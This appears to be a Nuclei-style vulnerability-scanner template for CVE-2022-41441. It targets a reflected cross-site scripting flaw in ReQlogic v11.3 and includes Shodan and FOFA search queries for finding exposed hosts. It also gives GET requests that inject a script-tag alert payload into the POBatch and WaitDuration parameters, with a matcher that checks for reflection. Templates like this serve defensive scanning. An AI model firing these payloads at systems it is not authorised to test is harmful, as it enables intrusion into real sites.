id: CVE-2022-41441

info:
  name: ReQlogic v11.3 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    ReQlogic v11.3 allow attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the POBatch and WaitDuration parameters.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in ReQlogic v11.3.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-41441
    - https://okankurtulus.com.tr/2023/01/17/reqlogic-v11-3-unauthenticated-reflected-cross-site-scripting-xss/
    - http://packetstormsecurity.com/files/171557/ReQlogic-11.3-Cross-Site-Scripting.html
    - http://reqlogic.com
    - https://reqlogic.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-41441
    cwe-id: CWE-79
    epss-score: 0.06229
    epss-percentile: 0.91001
    cpe: cpe:2.3:a:reqlogic:reqlogic:11.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: reqlogic
    product: reqlogic
    shodan-query:
      - http.html:"ReQlogic"
      - http.html:"reqlogic"
    fofa-query: body="reqlogic"
  tags: cve,cve2022,packetstorm,xss,reqlogic,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ProcessWait.aspx?POBatch=test&WaitDuration=</script><script>alert(document.domain)</script>"
      - "{{BaseURL}}/ProcessWait.aspx?POBatch=</script><script>alert(document.domain)</script>&WaitDuration=3"

    stop-at-first-match: true
    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body_2, "<script>alert(document.domain)</script>") && contains(body_2, "POProcessTimeout")'
        condition: and
# digest: 4a0a00473045022065eac792a06159c9cabfbd689ee115e7abe2fa860b3e0b0ee10a4abc5bedada5022100edec3b42a952398dfda0bb7316f7e966d38630338fda90b514b5798716c4d8cc:922c64590222798bb761d5b6d8e72950